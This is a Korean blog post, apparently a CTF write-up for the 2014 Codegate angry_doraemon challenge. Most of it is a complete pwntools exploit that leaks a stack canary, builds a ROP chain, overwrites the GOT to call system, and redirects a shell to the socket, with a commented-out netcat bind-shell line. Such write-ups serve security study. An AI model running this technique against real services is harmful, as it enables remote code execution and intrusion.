티스토리 뷰
2014 코드게이트에 나왔던 angry_doraemom이다.
소켓 C문제도 처음인데다가 리버스커넥션은 검색을 했던 꽤 힘들었던 문제...
더 분발해야겠다는 생각이 너무 많이든 문제였다.
arch : 32bit
got overwrite
canary_leak
( + 프로그램이 정상작동하려면 doraemon.txt, mouse.txt, bread.txt가 필요하다.
port 8888열고 접속하면 된다.
nc localhost 8888
다른건 필요없고 1~4번중 옵션고르는건데 4번에 bof터지는 곳이 있었다.
canary leak을 어떻게 구상할까에 막혔는데
fork()하고 nc로 접속해서 문제를 푸는 형식이기에 원본파일을 재시작 하지않는이상
접속을 몇번을 해도 카나리 값은 변하지 않는다는 점을 생각하면 카나리값은 고정이다.
unsigned int v8; // [esp+2Ch] [ebp-Ch]가 canary값을 담고있다.
입력은 버퍼에서 받고있으니 스택상태는 다음과같다
buf[0x4]
v6[0x4] +
v7[0x2] +
v8_canary[0x4] +
v8_dummy[0x8] +
sfp[0x4] +
ret[0x4]
canary_leak은 \x00포함 y 11개로 구상하고
pay는 'y'*11 + p32(canary) + 'y'*12 + ret으로 구상했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
from pwn import *
#context.log_level = 'debug'
host = 'localhost'
port = 8888
canary_leak = 0x2e0a5d00
pppr = 0x080495bd
p = remote(host, port)
e = ELF('./angry_doraemon')
l = e.libc
bss = e.bss()+0x200
def leak_canary():
canary = "y"*11
p.send(canary)
p.recvuntil('y'*10)
canary_leak = u32(p.recv(4)) - 0x79
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
#binsh = 'nc -lvp 10101 /bin/sh\x00'
binsh = '/bin/sh 0>&4 1>&4\x00'
p.recvuntil('>')
p.send('4')
p.recvuntil(') ')
#leak_canary()
pay = "a"*10
pay += p32(canary_leak)
pay += "A"*12
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(4) + p32(bss) + p32(len(binsh)+1)
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(4) + p32(write_got) + p32(4)
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(4) + p32(write_got) + p32(4)
pay += p32(write_plt)
pay += "BBBB"
pay += p32(bss)
p.send(pay)
sleep(0.5)
p.send(binsh)
sleep(0.5)
libc_leak = u32(p.recv(4)) - l.sym['write']
sys = libc_leak + l.sym['system']
p.send(p32(sys))
p.interactive()
|
파일 디스크립터 0, 1을 4로 돌리고 bss에 /bin/sh 0>&4 1>&4\x00을 써줌으로써
해당 터미널에서 쉘을 딸 수 있다.
댓글